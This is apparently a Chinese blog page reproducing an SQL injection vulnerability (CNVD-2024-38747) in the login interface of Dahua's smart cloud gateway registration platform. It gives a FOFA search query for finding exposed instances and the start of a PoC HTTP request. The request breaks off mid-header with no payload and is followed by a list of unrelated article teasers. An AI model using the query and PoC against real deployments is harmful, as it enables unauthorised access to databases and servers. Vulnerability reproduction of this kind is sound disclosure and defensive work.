大华智能云网关注册管理平台 SQL注入漏洞复现(CNVD-2024-38747)
0x01 产品简介
大华智能云网关注册管理平台是一款专为解决社会面视频资源接入问题而设计的高效、便捷的管理工具，平台凭借其高效接入、灵活部署、安全保障、兼容性和便捷管理等特点，成为了解决社会面视频资源接入问题的优选方案。该平台不仅提高了联网效率，降低了联网成本，还实现了社会公共安全保障能力的提升。
0x02 漏洞概述
大华智能云网关注册管理平台 /index.php/User/doLogin 登录接口处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
0x03 复现环境
FOFA：title="智能云网关注册管理平台"
0x04 漏洞复现
PoC
POST /index.php/User/doLogin HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:1相关文章：
大华智能云网关注册管理平台 SQL注入漏洞复现(CNVD-2024-38747)
0x01 产品简介 大华智能云网关注册管理平台是一款专为解决社会面视频资源接入问题而设计的高效、便捷的管理工具，平台凭借其高效接入、灵活部署、安全保障、兼容性和便捷管理等特点，成为了解决社会面视频资源接入问题的优选方案。该平台不仅提高了联网效率，降低了联网成本，…...
什么是思维导图，手把手教你做经典思维导图
在信息爆炸的时代，如何高效整理思绪、激发创意、提升学习效率成为了我们共同面临的挑战。思维导图，这一源自脑科学的思维工具，以其直观、灵活的特点，成为了众多学习者、管理者和创意人士的得力助手。今天，就让我们一起…...
使用GSEA读‘gmt文件‘时最后一行未遂问题解决
最近工作中，使用GSEA网站自定义库下载的gmt文件用函数读取的时候报错： 这种问题在文本文件读取中经常出现，往往因为最后一行未留出/n，也就是最后一行没有换行留出空行。 可以使用notepad打开gmt文件： 发现果然最后一行…...
C++中vector常用函数总结
一，vector vector可以理解为一个边长数组，可以存储不同的类型，int ,double,char,结构体等。 也可以才能出STL标准容器，如set,string,vector等 二，构造函数 vector(size_t n,T val) …...
手撕数据结构 —— 队列（C语言讲解）
目录 1.什么是队列 2.如何实现队列 3.队列的实现 Queue.h中接口总览 具体实现 结构的定义 初始化 销毁 入队列 出队列 取队头元素 取队尾元素 判断是否为空 获取队列的大小 4.完整代码附录 Queue.h Queue.c 1.什么是队列 队列是一种特殊的线性表࿰…...
Java知识巩固(五)
目录 基本数据类型 基本类型和包装类型的区别？ 自动装箱与拆箱了解吗?原理是什么？ 为什么浮点数运算的时候回邮精度丢失的风险？ 如何解决浮点数运算的精度丢失问题？ 超过 long 整型的数据应该如何表示？ 基本数据…...
C# 中 yield关键字的使用
yield return有以下优点： 每次迭代时生成一个值，并且在下次迭代时继续从上次离开的地方开始。 延迟执行：只有在实际需要时才会生成下一个值，这对于处理大量数据非常有用。 节省内存：不需要一次性将所有数据加载到内存中…...
YoloDotNet 的基本使用方法详解
文章目录 一、创建项目与引用库二、模型加载与初始化三、图像数据的处理与输入四、目标检测结果的获取与解析五、性能优化与参数调整一、创建项目与引用库 在使用 YoloDotNet 之前，首先需要在开发环境中创建一个新的项目。可以选择使用 Visual Studio 等开发工具，创建一个 C#…...
0x12 Dapr Dashboard configurations 未授权访问漏洞 CVE-2022-38817
参考： Dapr Dashboard configurations 未授权访问漏洞 CVE-2022-38817 | PeiQi文库 (wgpsec.org)免责声明 欢迎访问我的博客。以下内容仅供教育和信息用途： 合法性：我不支持或鼓励非法活动。请确保遵守法律法规。信息准确性：尽管我尽力提供准确的信息，但不保证其完全准确…...
Android activity 启动流程
Android activity 启动流程 本文主要记录下acitivty的启动流程. 1: Activity 我们都知道启动activity调用方法: startActivity(Intent intent)startActivity(Intent intent, Nullable Bundle options)startActivityForResult(RequiresPermission Intent intent, int reques…...
使用 Go 语言实现 WebSocket的核心逻辑
文章目录 WebSocket 简介时序图核心逻辑Client 结构与功能创建新客户端消息读取逻辑 (ReadPump)发送消息逻辑 (Send)客户端管理器 (ClientManager)WebSocket 处理器处理心跳与长连接 总结 本文将基于 Go 语言，通过使用 gorilla/websocket 库来实现一个简单的聊天应用…...
Linux下的杀毒软件介绍
Linux下的杀毒软件介绍 一、Linux杀毒软件的基本概念和作用二、Linux杀毒软件的选择三、Linux杀毒软件推荐四、Linux杀毒软件对应用进程的影响五、结论在当今数字化和网络化的环境中，保护计算机系统的安全至关重要。尽管Linux操作系统因其开源、稳定且相对安全的特性而较少受到…...
JSONP详解
JSONP（JSON with Padding）是一种非官方的协议，它允许在服务器端集成Script tags返回至客户端，通过JavaScript callback的形式实现跨域访问。以下是对JSONP的详细解释： 一、JSONP的背景与原理 背景： 由于浏…...
Leetcode—1115. 交替打印 FooBar【中等】（多线程）
2024每日刷题（180） Leetcode—1115. 交替打印 FooBar C实现代码 class FooBar { private:int n;sem_t fooSem;sem_t barSem;public:FooBar(int n) {this->n n;sem_init(&fooSem, 0, 1);sem_init(&barSem, 0, 0);}~FooBar() {sem_destroy(&…...
Visual Studio Code基础：使用debugpy调试python程序
相关阅读 VS codehttps://blog.csdn.net/weixin_45791458/category_12658212.html?spm1001.2014.3001.5482 一、安装调试器插件 在VS code中可以很轻松地调试Python程序，首先需要安装Python调试器插件，如图1所示。 图1 安装调试器插件 Python Debugge…...
超全！一文详解大型语言模型的11种微调方法
导读：大型预训练模型是一种在大规模语料库上预先训练的深度学习模型，它们可以通过在大量无标注数据上进行训练来学习通用语言表示，并在各种下游任务中进行微调和迁移。随着模型参数规模的扩大，微调和推理阶段的资源消耗也在增加。…...
C 主要函数解析
1、fseek 函数 int fseek(FILE *stream, long offset, int fromwhere); 第一个参数stream为文件指针 第二个参数offset为偏移量，正数表示正向偏移，负数表示负向偏移 第三个参数origin设定从文件的哪里开始偏移,可能取值为：SEEK_CUR、 SEE…...
vue3学习：数字时钟遇到的两个问题
在前端开发学习中，用JavaScript脚本写个数字时钟是很常见的案例，也没什么难度。今天有时间，于是就用Vue的方式来实现这个功能。原本以为是件非常容易的事，没想到却卡在两个问题上，一个问题通过别人的博文已经找到答案&…...
吴恩达深度学习笔记：卷积神经网络（Foundations of Convolutional Neural Networks）3.7-3.8
目录 第四门课 卷积神经网络（Convolutional Neural Networks）第三周 目标检测（Object detection）3.7 非极大值抑制（Non-max suppression）3.8 Anchor Boxes 第四门课 卷积神经网络（Convolutional…...
【Linux】最基本的字符设备驱动
前面我们介绍到怎么编译出内核模块.ko文件，然后还加载了这个驱动模块。但是，那个驱动代码还不完善，驱动写好后怎么在应用层使用也没有介绍。 字符设备抽象 Linux内核中将字符设备抽象成一个具体的数据结构（struct cdevÿ…...
2025版等离子体期刊分区解析：从PRL到PPAP的投稿指南
1. 2025版等离子体期刊分区概览 对于从事等离子体研究的科研人员来说，选择合适的期刊投稿是研究成果传播的关键一步。2025版中科院期刊分区将等离子体相关期刊划分为三个主要层级，每个层级都有其独特的定位和特点。 先说说最顶级的中科院一区期刊。这个层…...
从‘玩具项目’到‘线上产品’：我的Vue3项目在阿里云ECS上线的完整踩坑记录（含Nginx配置）
从本地开发到云端部署：Vue3项目实战全流程解析 第一次将自己的Vue项目部署到线上时，我盯着浏览器里那个404错误页面整整发呆了十分钟。作为一个刚完成基础学习的开发者，我原以为按照教程一步步操作就能顺利上线，但现实却给了我当头…...
当翻译成本趋近于零：AI原生时代，软件工程如何重塑？
当翻译成本趋近于零，软件工程的瓶颈就从“如何写对代码”变成了“如何定义对的事”。 一、两条路线之争：代码约束还是提示约束？ 当前AI智能体演进中，出现了一条清晰的分野：以Claude Code为代表的“代码硬约束”路线&am…...
一键部署体验：Nomic-Embed-Text-V2-MoE在星图GPU平台上的开箱即用Demo
一键部署体验：Nomic-Embed-Text-V2-MoE在星图GPU平台上的开箱即用Demo 你是不是也遇到过这种情况？看到一篇技术文章介绍某个很酷的开源模型，比如Nomic-Embed-Text-V2-MoE，心里痒痒的想立刻试试。结果一搜部署教程，又是…...
苹果M系列芯片用户必看：三步搞定iOS游戏在Mac上的完美运行方案
苹果M系列芯片用户必看：三步搞定iOS游戏在Mac上的完美运行方案 【免费下载链接】PlayCover Community fork of PlayCover 项目地址: https://gitcode.com/gh_mirrors/pl/PlayCover 还在为Mac上无法畅玩心爱的iOS游戏而烦恼吗？你是否想过ÿ…...
AI芯片算力揭秘：从INT8到FP16，如何正确理解不同精度的TOPS值？
AI芯片算力揭秘：从INT8到FP16，如何正确理解不同精度的TOPS值？ 当你在选购AI加速卡时，是否曾被厂商宣传的"200TOPS算力"搞得晕头转向？作为在边缘计算部署过数十个模型的工程师，我必须告诉你一个残…...
Qwen2.5-VL视觉定位模型优化升级：GPU加速、批量处理、提示词技巧
Qwen2.5-VL视觉定位模型优化升级：GPU加速、批量处理、提示词技巧 1. 视觉定位技术概述 视觉定位（Visual Grounding）是计算机视觉领域的一项关键技术，它能够根据自然语言描述在图像中精确定位目标对象。这项技术在智能相册管理、…...
【嵌入式Linux】---- 从零构建：基于PetaLinux与SDK的GPIO驱动开发与系统集成实战
1. 环境准备与工程创建 第一次接触Zynq开发板和嵌入式Linux时，我完全被各种工具链和配置选项搞晕了。后来发现只要按照正确步骤搭建环境，其实并没有想象中那么复杂。这里分享我从零开始构建GPIO驱动开发环境的完整过程。 首先需要准备一台运行Ubuntu 18.…...
攻克Windows安装难题：AtlasOS全方位解决2502/2503错误的技术方案
攻克Windows安装难题：AtlasOS全方位解决2502/2503错误的技术方案 【免费下载链接】Atlas 🚀 An open and lightweight modification to Windows, designed to optimize performance, privacy and security. 项目地址: https://gitcode.com/GitHub_Tren…...
MarkItDown：文档转换工具的全方位解析与高效应用指南
MarkItDown：文档转换工具的全方位解析与高效应用指南 【免费下载链接】markitdown 将文件和办公文档转换为 Markdown 的 Python 工具 项目地址: https://gitcode.com/GitHub_Trending/ma/markitdown 在数字化办公与内容创作领域，文档格式转换是连…...